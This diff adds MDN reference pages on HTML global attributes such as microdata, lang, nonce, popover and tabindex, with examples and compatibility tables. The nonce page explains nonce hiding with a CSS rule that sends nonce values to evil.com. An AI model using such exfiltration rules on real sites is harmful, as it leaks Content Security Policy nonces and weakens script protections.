+  </dd>
+</dl>
+
+

Result

+
+ + +
+
+

Specifications

+
+ + +
Specification
HTML Standard
# names:-the-itemprop-attribute
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
itempropYes12YesYesYesYesYesYesYesYesYesYes
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Global_attributes/itemprop +

+
diff --git a/devdocs/html/global_attributes%2Fitemref.html b/devdocs/html/global_attributes%2Fitemref.html new file mode 100644 index 00000000..1e6eda9e --- /dev/null +++ b/devdocs/html/global_attributes%2Fitemref.html @@ -0,0 +1,87 @@ +

itemref

+

Properties that are not descendants of an element with the itemscope attribute can be associated with an item using the global attribute itemref.

itemref provides a list of element IDs (not itemids) elsewhere in the document, with additional properties

The itemref attribute can only be specified on elements that have an itemscope attribute specified.

Note: The itemref attribute is not part of the microdata data model. It is merely a syntactic construct to aid authors in adding annotations to pages where the data to be annotated does not follow a convenient tree structure. For example, it allows authors to mark up data in a table so that each column defines a separate item while keeping the properties in the cells.

+
+

Examples

+ +

Representing structured data for a band

+
+

This example uses microdata attributes to represent the following structured data (in JSON-LD format):

+

json

+
{
+  "@id": "amanda",
+  "name": "Amanda",
+  "band": {
+    "@id": "b",
+    "name": "Jazz Band",
+    "size": 12
+  }
+}
+
+

HTML

+

html

+
<div itemscope id="amanda" itemref="a b"></div>
+<p id="a">Name: <span itemprop="name">Amanda</span></p>
+<div id="b" itemprop="band" itemscope itemref="c"></div>
+<div id="c">
+  <p>Band: <span itemprop="name">Jazz Band</span></p>
+  <p>Size: <span itemprop="size">12</span> players</p>
+</div>
+
+

Result

+
+ + +
+
+

Specifications

+
+ + +
Specification
HTML Standard
# attr-itemref
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
itemrefYes12YesYesYesYesYesYesYesYesYesYes
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Global_attributes/itemref +

+
diff --git a/devdocs/html/global_attributes%2Fitemscope.html b/devdocs/html/global_attributes%2Fitemscope.html new file mode 100644 index 00000000..4e514030 --- /dev/null +++ b/devdocs/html/global_attributes%2Fitemscope.html @@ -0,0 +1,146 @@ +

itemscope

+

itemscope is a boolean global attribute that defines the scope of associated metadata. Specifying the itemscope attribute for an element creates a new item, which results in a number of name-value pairs that are associated with the element.

A related attribute, itemtype, is used to specify the valid URL of a vocabulary (such as schema.org) that describes the item and its properties context. In each of the following examples, the vocabulary is from schema.org.

Every HTML element may have an itemscope attribute specified. An itemscope element that does not have an associated itemtype must have an associated itemref.

Note: Find more about itemtype attributes at https://schema.org/Thing

+
+

itemscope id attributes

+

When you specify the itemscope attribute for an element, a new item is created. The item consists of a group of name-value pairs. For elements with an itemscope attribute and an itemtype attribute, you may also specify an id attribute. You can use the id attribute to set a global identifier for the new item. A global identifier allows the item to relate to other items found on pages across the Web.

+

Examples

+ +

Representing structured data for a movie

+
+

The following example specifies the itemtype as "http://schema.org/Movie", and specifies four related itemprop attributes.

itemscope Itemtype Movie
itemprop (itemprop name) (itemprop value)
itemprop director James Cameron
itemprop genre Science Fiction
itemprop name Avatar
itemprop Trailer https://youtu.be/0AY1XIkX7bY
+

html

+
<div itemscope itemtype="https://schema.org/Movie">
+  <h1 itemprop="name">Avatar</h1>
+  <span>
+    Director: <span itemprop="director">James Cameron</span> (born August 16,
+    1954)
+  </span>
+  <span itemprop="genre">Science fiction</span>
+  <a href="https://youtu.be/0AY1XIkX7bY" itemprop="trailer">Trailer</a>
+</div>
+
+
+
+

Representing structured data for a recipe

+
+

There are four itemscope attributes in the following example. Each itemscope attribute sets the scope of its corresponding itemtype attribute. The itemtypes, Recipe, AggregateRating, and NutritionInformation in the following example are part of the schema.org structured data for a recipe, as specified by the first itemtype, http://schema.org/Recipe.

itemscope itemtype Recipe
itemprop name Grandma's Holiday Apple Pie
itemprop image https://c1.staticflickr.com/1/30/42759561_8631e2f905_n.jpg
itemprop datePublished 2022-11-05
itemprop description This is my grandmother's apple pie recipe. I like to add a dash of nutmeg.
itemprop prepTime PT30M
itemprop cookTime PT1H
itemprop totalTime PT1H30M
itemprop recipeYield 1 9" pie (8 servings)
itemprop recipeIngredient Thinly-sliced apples: 6 cups
itemprop recipeIngredient White sugar: 3/4 cup
itemprop recipeInstructions 1. Cut and peel apples 2. Mix sugar and cinnamon. Use additional sugar for tart apples.
itemprop author [Person]
itemprop name Carol Smith
itemscope itemprop[itemtype] aggregateRating [AggregateRating]
itemprop ratingValue 4.0
itemprop reviewCount 35
itemscope itemprop[itemtype] nutrition [NutritionInformation]
itemprop servingSize 1 medium slice
itemprop calories 250 cal
itemprop fatContent 12 g

Note: A handy tool for extracting microdata structures from HTML is Google's Rich Results Testing Tool. Try it on the HTML shown here.

HTML

+

html

+
<div itemscope itemtype="https://schema.org/Recipe">
+  <h2 itemprop="name">Grandma's Holiday Apple Pie</h2>
+  <img
+    itemprop="image"
+    src="https://c1.staticflickr.com/1/30/42759561_8631e2f905_n.jpg"
+    width="50"
+    height="50" />
+  <p>
+    By
+    <span itemprop="author" itemscope itemtype="https://schema.org/Person">
+      <span itemprop="name">Carol Smith</span>
+    </span>
+  </p>
+  <p>
+    Published:
+    <time datetime="2022-11-05" itemprop="datePublished">
+      November 5, 20022
+    </time>
+  </p>
+  <span itemprop="description">
+    This is my grandmother's apple pie recipe. I like to add a dash of nutmeg.
+  </span>
+  <br />
+  <span
+    itemprop="aggregateRating"
+    itemscope
+    itemtype="https://schema.org/AggregateRating">
+    <span itemprop="ratingValue">4.0</span> stars based on
+    <span itemprop="reviewCount">35</span> reviews
+  </span>
+  <br />
+  Prep time: <time datetime="PT30M" itemprop="prepTime">30 min</time>
+  <br />
+  Cook time: <time datetime="PT1H" itemprop="cookTime">1 hour</time>
+  <br />
+  Total time: <time datetime="PT1H30M" itemprop="totalTime">1 hour 30 min</time>
+  <br />
+  Yield: <span itemprop="recipeYield">1 9" pie (8 servings)</span>
+  <br />
+  <span
+    itemprop="nutrition"
+    itemscope
+    itemtype="https://schema.org/NutritionInformation">
+    Serving size: <span itemprop="servingSize">1 medium slice</span><br />
+    Calories per serving: <span itemprop="calories">250 cal</span><br />
+    Fat per serving: <span itemprop="fatContent">12 g</span><br />
+  </span>
+  <p>
+    Ingredients:<br />
+    <span itemprop="recipeIngredient">Thinly-sliced apples: 6 cups<br /></span>
+    <span itemprop="recipeIngredient">White sugar: 3/4 cup<br /></span>
+    …
+  </p>
+  Directions: <br />
+  <div itemprop="recipeInstructions">
+    1. Cut and peel apples<br />
+    2. Mix sugar and cinnamon. Use additional sugar for tart apples. <br />
+    …
+  </div>
+</div>
+
+

Result

+
+ + +
+
+

Specifications

+
+ + +
Specification
HTML Standard
# attr-itemscope
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
itemscopeYes12YesYesYesYesYesYesYesYesYesYes
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Global_attributes/itemscope +

+
diff --git a/devdocs/html/global_attributes%2Fitemtype.html b/devdocs/html/global_attributes%2Fitemtype.html new file mode 100644 index 00000000..545af42d --- /dev/null +++ b/devdocs/html/global_attributes%2Fitemtype.html @@ -0,0 +1,117 @@ +

itemtype

+

The global attribute itemtype specifies the URL of the vocabulary that will be used to define itemprop's (item properties) in the data structure.

itemscope is used to set the scope of where in the data structure the vocabulary set by itemtype will be active.

Google and other major search engines support the schema.org vocabulary for structured data. This vocabulary defines a standard set of type names and property names. For example, MusicEvent indicates a concert performance, with startDate and location properties specifying the concert's key details. In this case, MusicEvent would be the URL used by itemtype, with startDate and location as itemprop's which MusicEvent defines.

Note: More about itemtype attributes can be found at https://schema.org/Thing

+
+

Examples

+ +

Representing structured data for a product

+
+

This example uses microdata attributes to represent structured data for a product, as follows:

itemscope itemtype Product (http://schema.org/Product)
itemprop name Executive Anvil
itemprop image https://pixabay.com/static/uploads/photo/2015/09/05/18/15/suitcase-924605_960_720.png
itemprop description Sleeker than ACME's Classic Anvil, the Executive Anvil is perfect for the business traveler looking for something to drop from a height.
itemprop mpn 925872
itemprop brand [Thing]
itemprop name ACME
itemscope itemprop[itemtype] aggregateRating[AggregateRating]
itemprop ratingValue 4.4
itemprop reviewCount 89
itemprop offers [Offer] http://schema.org/Offer
itemprop priceCurrency USD
itemprop price 119.99
itemprop priceValidUntil 2020-11-05
itemprop itemCondition http://schema.org/UsedCondition
itemprop availability http://schema.org/InStock
itemscope itemprop[itemtype] seller [Organization] http://schema.org/Organization
itemprop name Executive Objects

Note: A handy tool for extracting microdata structures from HTML is Google's Structured Data Testing Tool. Try it on the HTML shown here.

HTML

+

html

+
<div itemscope itemtype="http://schema.org/Product">
+  <span itemprop="brand">ACME<br /></span>
+  <span itemprop="name">Executive Anvil<br /></span>
+  <img
+    itemprop="image"
+    src="https://pixabay.com/static/uploads/photo/2015/09/05/18/15/suitcase-924605_960_720.png"
+    width="50"
+    height="50"
+    alt="Executive Anvil logo" /><br />
+
+  <span itemprop="description">
+    Sleeker than ACME's Classic Anvil, the Executive Anvil is perfect for the
+    business traveler looking for something to drop from a height.
+    <br />
+  </span>
+
+  Product #: <span itemprop="mpn">925872<br /></span>
+  <span
+    itemprop="aggregateRating"
+    itemscope
+    itemtype="http://schema.org/AggregateRating">
+    Rating: <span itemprop="ratingValue">4.4</span> stars, based on
+    <span itemprop="reviewCount">89 </span> reviews
+  </span>
+  <p>
+    <span itemprop="offers" itemscope itemtype="http://schema.org/Offer">
+      Regular price: $179.99<br />
+      <meta itemprop="priceCurrency" content="USD" />
+      <span itemprop="price">Sale price: $119.99<br /></span>
+      (Sale ends
+      <time itemprop="priceValidUntil" datetime="2020-11-05">5 November!</time>)
+      <br />
+      Available from:
+      <span
+        itemprop="seller"
+        itemscope
+        itemtype="http://schema.org/Organization">
+        <span itemprop="name">Executive Objects<br /></span>
+      </span>
+      Condition:
+      <link
+        itemprop="itemCondition"
+        href="http://schema.org/UsedCondition" />Previously owned, in excellent
+      condition<br />
+      <link itemprop="availability" href="http://schema.org/InStock" />In stock!
+      Order now!
+    </span>
+  </p>
+</div>
+
+

Result

+
+ + +
+
+

Specifications

+
+ + +
Specification
HTML Standard
# attr-itemtype
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
itemtypeYes12YesYesYesYesYesYesYesYesYesYes
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Global_attributes/itemtype +

+
diff --git a/devdocs/html/global_attributes%2Flang.html b/devdocs/html/global_attributes%2Flang.html new file mode 100644 index 00000000..81c5959c --- /dev/null +++ b/devdocs/html/global_attributes%2Flang.html @@ -0,0 +1,152 @@ +

lang

+

The lang global attribute helps define the language of an element: the language that non-editable elements are written in, or the language that the editable elements should be written in by the user. The attribute contains a single "language tag" in the format defined in RFC 5646: Tags for Identifying Languages (also known as BCP 47).

Note: The default value of lang is unknown, therefore it is recommended to always specify this attribute with the appropriate value.

+
+

Try it

+
+

If the attribute value is the empty string (lang=""), the language is set to unknown; if the language tag is not valid according to BCP47, it is set to invalid.

Even if the lang attribute is set, it may not be taken into account, as the xml:lang attribute has priority.

For the CSS pseudo-class :lang, two invalid language names are different if their names are different. So while :lang(es) matches both lang="es-ES" and lang="es-419", :lang(xyzzy) would not match lang="xyzzy-Zorp!".

+
+

Language tag syntax

+
+

The full BCP47 syntax is in-depth enough to mark extremely specific language dialects, but most usage is much simpler.

A language tag is made of hyphen-separated language subtags, where each subtag indicates a certain property of the language. The 3 most common subtags are:

Language subtag

Required. A 2-or-3-character code that defines the basic language, typically written in all lowercase. For example, the language code for English is en, and the code for Badeshi is bdz.

Script subtag

Optional. This subtag defines the writing system used for the language, and is always 4 characters long, with the first letter capitalized. For example, French-in-Braille is fr-Brai and ja-Kana is Japanese written with the Katakana alphabet. If the language is written in a highly typical way, like English in the Latin alphabet, there is no need to use this subtag.

Region subtag

Optional. This subtag defines a dialect of the base language from a particular location, and is either 2 letters in ALLCAPS matching a country code, or 3 numbers matching a non-country area. For example, es-ES is for Spanish as spoken in Spain, and es-013 is Spanish as spoken in Central America. "International Spanish" would just be es.

The script subtag precedes the region subtag if both are present — ru-Cyrl-BY is Russian, written in the Cyrillic alphabet, as spoken in Belarus.

To find the correct subtag codes for a language, try the Language Subtag Lookup.

+
+

Accessibility

+
+

WCAG Success Criterion 3.1.1 requires that a page language is specified in a way which may be 'programmatically determined' (i.e. via the lang attribute).

WCAG Success Criterion 3.1.2 requires that pages with parts in different languages have the languages of those parts specified too. Again, the lang attribute is the correct mechanism for this.

The purpose of these requirements is primarily to allow assistive technologies such as screen readers to invoke the correct pronunciation.

For example, the language menu on this site (MDN) includes a lang attribute for each entry:

+

html

+
<div class="dropdown-container language-menu">
+  <button
+    id="header-language-menu"
+    type="button"
+    class="dropdown-menu-label"
+    aria-haspopup="true"
+    aria-owns="language-menu"
+    aria-label="Current language is English. Choose your preferred language.">
+    English
+    <span class="dropdown-arrow-down" aria-hidden="true">▼</span>
+  </button>
+  <ul
+    id="language-menu"
+    class="dropdown-menu-items right show"
+    aria-expanded="true"
+    role="menu">
+    <li lang="ca" role="menuitem">
+      <a href="/ca/docs/Web/HTML/Global_attributes/lang" title="Catalan">
+        <bdi>Català</bdi>
+      </a>
+    </li>
+    <li lang="de" role="menuitem">
+      <a href="/de/docs/Web/HTML/Globale_Attribute/lang" title="German">
+        <bdi>Deutsch</bdi>
+      </a>
+    </li>
+    <li lang="es" role="menuitem">
+      <a href="/es/docs/Web/HTML/Atributos_Globales/lang" title="Spanish">
+        <bdi>Español</bdi>
+      </a>
+    </li>
+    <li lang="fr" role="menuitem">
+      <a href="/fr/docs/Web/HTML/Attributs_universels/lang" title="French">
+        <bdi>Français</bdi>
+      </a>
+    </li>
+    <li lang="ja" role="menuitem">
+      <a href="/ja/docs/Web/HTML/Global_attributes/lang" title="Japanese">
+        <bdi>日本語</bdi>
+      </a>
+    </li>
+    <li lang="ko" role="menuitem">
+      <a href="/ko/docs/Web/HTML/Global_attributes/lang" title="Korean">
+        <bdi>한국어</bdi>
+      </a>
+    </li>
+    <li lang="pt-BR" role="menuitem">
+      <a
+        href="/pt-BR/docs/Web/HTML/Global_attributes/lang"
+        title="Portuguese (Brazilian)">
+        <bdi>Português (do&nbsp;Brasil)</bdi>
+      </a>
+    </li>
+    <li lang="ru" role="menuitem">
+      <a href="/ru/docs/Web/HTML/Global_attributes/lang" title="Russian">
+        <bdi>Русский</bdi>
+      </a>
+    </li>
+    <li lang="uk" role="menuitem">
+      <a
+        href="/uk/docs/Web/HTML/%D0%97%D0%B0%D0%B3%D0%B0%D0%BB%D1%8C%D0%BD%D1%96_%D0%B0%D1%82%D1%80%D0%B8%D0%B1%D1%83%D1%82%D0%B8/lang"
+        title="Ukrainian">
+        <bdi>Українська</bdi>
+      </a>
+    </li>
+    <li lang="zh-Hans" role="menuitem">
+      <a
+        href="/zh-CN/docs/Web/HTML/Global_attributes/lang"
+        title="Chinese (Simplified)">
+        <bdi>中文 (简体)</bdi>
+      </a>
+    </li>
+    <li>
+      <a
+        href="/en-US/docs/Web/HTML/Global_attributes/lang$locales"
+        rel="nofollow"
+        id="translations-add">
+        Add a translation
+      </a>
+    </li>
+  </ul>
+</div>
+
+
+
+

Specifications

+
+ + +
Specification
HTML Standard
# attr-lang
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
lang1121Yes15≤44.418414≤3.21.0
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Global_attributes/lang +

+
diff --git a/devdocs/html/global_attributes%2Fnonce.html b/devdocs/html/global_attributes%2Fnonce.html new file mode 100644 index 00000000..82cdea4a --- /dev/null +++ b/devdocs/html/global_attributes%2Fnonce.html @@ -0,0 +1,113 @@ +

nonce

The nonce global attribute is a content attribute defining a cryptographic nonce ("number used once") which can be used by Content Security Policy to determine whether or not a given fetch will be allowed to proceed for a given element.

+

Description

+
+

The nonce attribute is useful to allowlist specific elements, such as a particular inline script or style elements. It can help you to avoid using the CSP unsafe-inline directive, which would allowlist all inline scripts or styles.

Note: Only use nonce for cases where you have no way around using unsafe inline script or style contents. If you don't need nonce, don't use it. If your script is static, you could also use a CSP hash instead. (See usage notes on unsafe inline script.) Always try to take full advantage of CSP protections and avoid nonces or unsafe inline scripts whenever possible.

+
+

Using nonce to allowlist a <script> element

+
+

There are a few steps involved to allowlist an inline script using the nonce mechanism:

Generating values

From your web server, generate a random base64-encoded string of at least 128 bits of data from a cryptographically secure random number generator. Nonces should be generated differently each time the page loads (nonce only once!). For example, in nodejs:

+

js

+
const crypto = require("crypto");
+crypto.randomBytes(16).toString("base64");
+// '8IBTHwOdqNKAWeKl7plt8g=='
+
+

Allowlisting inline script

The nonce generated on your backend code should now be used for the inline script that you'd like to allowlist:

+

html

+
<script nonce="8IBTHwOdqNKAWeKl7plt8g==">
+  // …
+</script>
+
+

Sending a nonce with a CSP header

Finally, you'll need to send the nonce value in a Content-Security-Policy header (prepend nonce-):

+

http

+
Content-Security-Policy: script-src 'nonce-8IBTHwOdqNKAWeKl7plt8g=='
+
+
+
+

Accessing nonces and nonce hiding

+
+

For security reasons, the nonce content attribute is hidden (an empty string will be returned).

+

js

+
script.getAttribute("nonce"); // returns empty string
+
+

The nonce property is the only way to access nonces:

+

js

+
script.nonce; // returns nonce value
+
+

Nonce hiding helps prevent attackers from exfiltrating nonce data via mechanisms that can grab data from content attributes like this:

+

css

+
script[nonce~="whatever"] {
+  background: url("https://evil.com/nonce?whatever");
+}
+
+
+
+

Specifications

+
+ + +
Specification
HTML Standard
# attr-nonce
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
nonceYesYes31NoYesYesYesYes31YesYesYes
nonce_hiding617975No48No61617945No8.0
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Global_attributes/nonce +

+
diff --git a/devdocs/html/global_attributes%2Fpart.html b/devdocs/html/global_attributes%2Fpart.html new file mode 100644 index 00000000..d036bcfe --- /dev/null +++ b/devdocs/html/global_attributes%2Fpart.html @@ -0,0 +1,55 @@ +

part

+

The part global attribute contains a space-separated list of the part names of the element. Part names allows CSS to select and style specific elements in a shadow tree via the ::part pseudo-element.

See our Shadow part example for a usage example.

+
+

Specifications

+
+ + +
Specification
CSS Shadow Parts
# part-attr
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
part737972No6013.17373795213.411.0
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Global_attributes/part +

+
diff --git a/devdocs/html/global_attributes%2Fpopover.html b/devdocs/html/global_attributes%2Fpopover.html new file mode 100644 index 00000000..f2a8c05c --- /dev/null +++ b/devdocs/html/global_attributes%2Fpopover.html @@ -0,0 +1,65 @@ +

popover

+

The popover global attribute is used to designate an element as a popover element.

Popover elements are hidden via display: none until opened via an invoking/control element (i.e. a <button> or <input type="button"> with a popovertarget attribute) or a HTMLElement.showPopover() call.

When open, popover elements will appear above all other elements in the top layer, and won't be influenced by parent elements' position or overflow styling.

A popover attribute can have values "auto" (default) or "manual". Popovers that have the auto state can be "light dismissed" by selecting outside the popover area, and generally only allow one popover to be displayed on-screen at a time. By contrast, manual popovers must always be explicitly hidden, but allow for use cases such as nested popovers in menus.

For detailed information on usage, see the Popover API landing page.

+
+

Examples

+
+

The following will render a button which will open a popover element.

+

html

+
<button popovertarget="my-popover">Open Popover</button>
+
+<div popover id="my-popover">Greetings, one and all!</div>
+
+

Note: See our Popover API examples landing page to access the full collection of MDN popover examples.

+
+

Specifications

+
+ + +
Specification
HTML Standard
# the-popover-attribute
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
popover114114114No10017114114NoNo17No
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Global_attributes/popover +

+
diff --git a/devdocs/html/global_attributes%2Fslot.html b/devdocs/html/global_attributes%2Fslot.html new file mode 100644 index 00000000..93ce3bdb --- /dev/null +++ b/devdocs/html/global_attributes%2Fslot.html @@ -0,0 +1,60 @@ +

slot

+

The slot global attribute assigns a slot in a shadow DOM shadow tree to an element: An element with a slot attribute is assigned to the slot created by the <slot> element whose name attribute's value matches that slot attribute's value.

For examples, see our Using templates and slots guide.

+
+

Specifications

+
+ + + + + +
Specification
HTML Standard
# attr-slot
DOM Standard
# ref-for-dom-element-slot①
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
slot53≤7963No401053536341106.0
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Global_attributes/slot +

+
diff --git a/devdocs/html/global_attributes%2Fspellcheck.html b/devdocs/html/global_attributes%2Fspellcheck.html new file mode 100644 index 00000000..43756684 --- /dev/null +++ b/devdocs/html/global_attributes%2Fspellcheck.html @@ -0,0 +1,62 @@ +

spellcheck

The spellcheck global attribute is an enumerated attribute that defines whether the element may be checked for spelling errors.

+

Try it

+
+

It may have the following values:

If this attribute is not set, its default value is element-type and browser-defined. This default value may also be inherited, which means that the element content will be checked for spelling errors only if its nearest ancestor has a spellcheck state of true.

This attribute is merely a hint for the browser: browsers are not required to check for spelling errors. Typically non-editable elements are not checked for spelling errors, even if the spellcheck attribute is set to true and the browser supports spellchecking.

+
+

Security and privacy concerns

+
+

Using spellchecking can have consequences for users' security and privacy. The specification does not regulate how spellchecking is done and the content of the element may be sent to a third party for spellchecking results (see enhanced spellchecking and "spell-jacking").

You should consider setting spellcheck to false for elements that can contain sensitive information.

+
+

Specifications

+
+ + +
Specification
HTML Standard
# attr-spellcheck
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
spellcheck912Yes11YesYes474757379.35.0
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Global_attributes/spellcheck +

+
diff --git a/devdocs/html/global_attributes%2Fstyle.html b/devdocs/html/global_attributes%2Fstyle.html new file mode 100644 index 00000000..607bd37e --- /dev/null +++ b/devdocs/html/global_attributes%2Fstyle.html @@ -0,0 +1,57 @@ +

style

The style global attribute contains CSS styling declarations to be applied to the element. Note that it is recommended for styles to be defined in a separate file or files. This attribute and the <style> element have mainly the purpose of allowing for quick styling, for example for testing purposes.

+

Try it

+
+

Note: This attribute must not be used to convey semantic information. Even if all styling is removed, a page should remain semantically correct. Typically it shouldn't be used to hide irrelevant information; this should be done using the hidden attribute.

+
+

Specifications

+
+ + +
Specification
HTML Standard
# the-style-attribute
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
style1121Yes1514.41841411.0
+

See also

+

All global attributes.

+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Global_attributes/style +

+
diff --git a/devdocs/html/global_attributes%2Ftabindex.html b/devdocs/html/global_attributes%2Ftabindex.html new file mode 100644 index 00000000..7d3abad8 --- /dev/null +++ b/devdocs/html/global_attributes%2Ftabindex.html @@ -0,0 +1,64 @@ +

tabindex

The tabindex global attribute allows developers to make HTML elements focusable, allow or prevent them from being sequentially focusable (usually with the Tab key, hence the name) and determine their relative ordering for sequential focus navigation.

+

Try it

+
+

It accepts an integer as a value, with different results depending on the integer's value:

Note: If an HTML element renders and has tabindex attribute with any valid integer value, the element can be focused with JavaScript (by calling the focus() method) or visually by clicking with the mouse. The particular tabindex value controls whether the element is tabbable (i.e. reachable via sequential keyboard navigation, usually with the Tab key).

Some focusable HTML elements have a default tabindex value of 0 set under the hood by the user agent. These elements are an <a> or <area> with href attribute, <button>, <frame> , <iframe>, <input>, <object>, <select>, <textarea>, and SVG <a> element, or a <summary> element that provides summary for a <details> element. Developers shouldn't add the tabindex attribute to these elements unless it changes the default behavior (for example, including a negative value will remove the element from the focus navigation order).

Warning: The tabindex attribute must not be used on the <dialog> element.

+
+

Accessibility concerns

+
+

Avoid using the tabindex attribute in conjunction with non-interactive content to make something intended to be interactive focusable by keyboard input. An example of this would be using a <div> element to describe a button, instead of the <button> element.

Interactive components authored using non-interactive elements are not listed in the accessibility tree. This prevents assistive technology from being able to navigate to and manipulate those components. The content should be semantically described using interactive elements (<a>, <button>, <details>, <input>, <select>, <textarea>, etc.) instead. These elements have built-in roles and states that communicate status to the accessibility that would otherwise have to be managed by ARIA.

+
+

Specifications

+
+ + +
Specification
HTML Standard
# attr-tabindex
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
tabindex1121.5Yes15≤44.418414≤3.21.0
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Global_attributes/tabindex +

+
diff --git a/devdocs/html/global_attributes%2Ftitle.html b/devdocs/html/global_attributes%2Ftitle.html new file mode 100644 index 00000000..c8e5d27d --- /dev/null +++ b/devdocs/html/global_attributes%2Ftitle.html @@ -0,0 +1,130 @@ +

title

The title global attribute contains text representing advisory information related to the element it belongs to.

+

Try it

+
+

The main use of the title attribute is to label <iframe> elements for assistive technology.

The title attribute may also be used to label controls in data tables.

The title attribute, when added to <link rel="stylesheet">, creates an alternate stylesheet. When defining an alternative style sheet with <link rel="alternate"> the attribute is required and must be set to a non-empty string.

If included on the <abbr> opening tag, the title must be a full expansion of the abbreviation or acronym. Instead of using title, when possible, provide an expansion of the abbreviation or acronym in plain text on first use, using the <abbr> to mark up the abbreviation. This enables all users know what name or term the abbreviation or acronym shortens while providing a hint to user agents on how to announce the content.

While title can be used to provide a programmatically associated label for an <input> element, this is not good practice. Use a <label> instead.

+
+

Multiline titles

+

The title attribute may contain several lines. Each U+000A LINE FEED (LF) character represents a line break. Some caution must be taken, as this means the following renders across two lines:

+

HTML

+
+

html

+
<p>
+  Newlines in <code>title</code> should be taken into account. This
+  <span
+    title="This is a
+multiline title">
+    example span
+  </span>
+  has a title a attribute with a newline.
+</p>
+<hr />
+<pre id="output"></pre>
+
+
+

JavaScript

+
+

We can query the title attribute and display it in the empty <pre> element as follows:

+

js

+
const span = document.querySelector("span");
+const output = document.querySelector("#output");
+output.textContent = span.title;
+
+
+
+

Result

+
+ + +
+

Title attribute inheritance

+
+

If an element has no title attribute, then it inherits it from its parent node, which in turn may inherit it from its parent, and so on.

If this attribute is set to the empty string, it means its ancestors' titles are irrelevant and shouldn't be used in the tooltip for this element.

+
+

HTML

+
+

html

+
<div title="CoolTip">
